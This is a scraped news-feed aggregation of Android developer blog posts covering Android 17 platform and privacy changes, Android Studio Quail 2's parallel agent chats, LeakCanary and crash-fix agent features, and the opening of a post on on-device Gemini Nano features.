<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
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<title><![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]></title>
<description><![CDATA[Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are perf...]]></description>
<link>https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:29 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwUFdkGaqVNsaJ2iCtprD4WZuFjvI1rR6WX35ewxin0wbtVadUtkRb3qYG-KGEKepmtC4WFv2mSAmUBRmZ-oR5ey_-codg1_MhbagflhqgWk2MdNX6-yL8SaADve6mn3v0aJ_uh-qLizIgdImHaQ_KdJfVYqvCga_v_fyJYPHKDyhuhVklAfo145xays/s2461/QuailBlog_Meta.png"><p>Posted by Amman Asfaw, Product Manager, Android Studio</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s2152/QuailMovement_V1_a.gif"><img border="0" data-original-height="608" data-original-width="2152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-nTZM4cgutSVcLIdjSDqJoeiaES_FELwFC84O01Roy0P81-mAyqz3X2w4pwzAZwdhiMeUuhRSyT4euWZkWtGderw6LRu-fK6k-w8lB-9k7GMXOFBy0IzgtGmUk6QkRriFX24lchlTD0SQhbywxli4p4iZ7JzMAN80YoCdruEeruJ58bwhmuo0cj9Y_yg/s1600/QuailMovement_V1_a.gif"></a></div><br><p></p><p><br></p><p><br></p><p><br></p>

<p>Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.</p>
<p>Here’s a deep dive into what’s new:</p>
<h2>Multi-tasking with parallel chats</h2>

<p>In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.</p>In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.<br><br> You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at <a href="http://d.android.com/bench">Android Bench</a> for an analysis of how LLMs perform Android development tasks. 

<p></p><ul><li><strong>How to use:</strong> Click the "+" icon to start a new parallel conversation, and use the <b>History</b> icon to navigate between active tasks. Alternatively, select File &gt; New &gt; New Agent Tab to open a conversation in a dedicated tab.</li><li><strong>Note:</strong> Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.</li></ul><p></p>

<div class="separator">
  
</div>

<p><i>Run multiple agent tasks in parallel with different models of your choice.</i></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s3456/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"><img border="0" data-original-height="2044" data-original-width="3456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUDucsd939pAvvfRC8VvmNkDp-1nDBMaP3TGFwdjspFgPz7_CVS-7NVzNhP278oKO3MNJL0RZy3k9aCZgmVtuqsahIZh79bGXhB026yKqPPiMYVMFkkSUgTBSLLajNObkMkke_iF6i_cIMRRQ_5Zl8zLgXWKYItToSiyLaZfok-pd-KVkAkRfup_yCsI/s1600/Screenshot%202026-06-17%20at%2012.56.57%E2%80%AFAM.png"></a></div><span><div><i>Use the History icon to navigate between active tasks.</i></div></span><p></p>

<h2>Memory leak detection with LeakCanary</h2>

<p>Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or <code>OutOfMemoryError</code>.</p>

<p>Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector <a href="https://square.github.io/leakcanary/">LeakCanary</a> is natively integrated directly into the Profiler as a dedicated, first-class task.</p>

<p>This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.</p>

<p>Once a leak is detected during a profiling session:</p>
<ul>
  <li>The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.</li>
  <li>You can click <b>Go to declaration</b> on any leaking object in the trace to instantly jump to that exact line of code in your editor.</li>
  <li>You can click <b>Fix with Agent</b> to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1250/Leak_Canary_4e3675ccb2_ZXI2sE.webp"><img border="0" data-original-height="640" data-original-width="1250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwBONeahZYC_5KBtkgQkc5vTjzmN5D-ypyOOScCRcp6Cy8CZeNHVWeNViBS6D_we7HaRy_AjIg1tptZAVEqNTeQ4IVVjoQp4_XJp45648fhiD0H5qvNmiPphikYGDNbEyus-QTVkSU9imwJm4QN0CKnWFs6JZsVkC21SXl9LXAnSndereOvE6iDWOmsEo/s1600/Leak_Canary_4e3675ccb2_ZXI2sE.webp"></a><span><i>Review memory leaks identified via LeakCanary through the Fix with Agent button.</i></span></div>

<h2>App Quality Insights agent integration</h2>

<p>Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.</p>

<p>When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click <b>See more</b>. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.</p>

<p>With the new agent integration, you move directly from issue identification to resolution. By clicking <b>Fix with AI</b>, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix</p>

<div class="separator">
  
</div><p><i>The <b>Fix with AI</b> button triggering the agent to analyze the issue, then propose the fix</i></p>

<h2>Quality &amp; stability improvements</h2>

<p>Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.</p>

<h2>Get Started</h2>

<p>Ready to dive in and accelerate your development? <a href="https://developer.android.com/studio">Download</a> Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. <a href="https://developer.android.com/studio/known-issues">Check known issues</a>, <a href="https://developer.android.com/studio/report-bugs">report bugs</a>, and be part of our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a>. </p>]]></content:encoded>
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<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

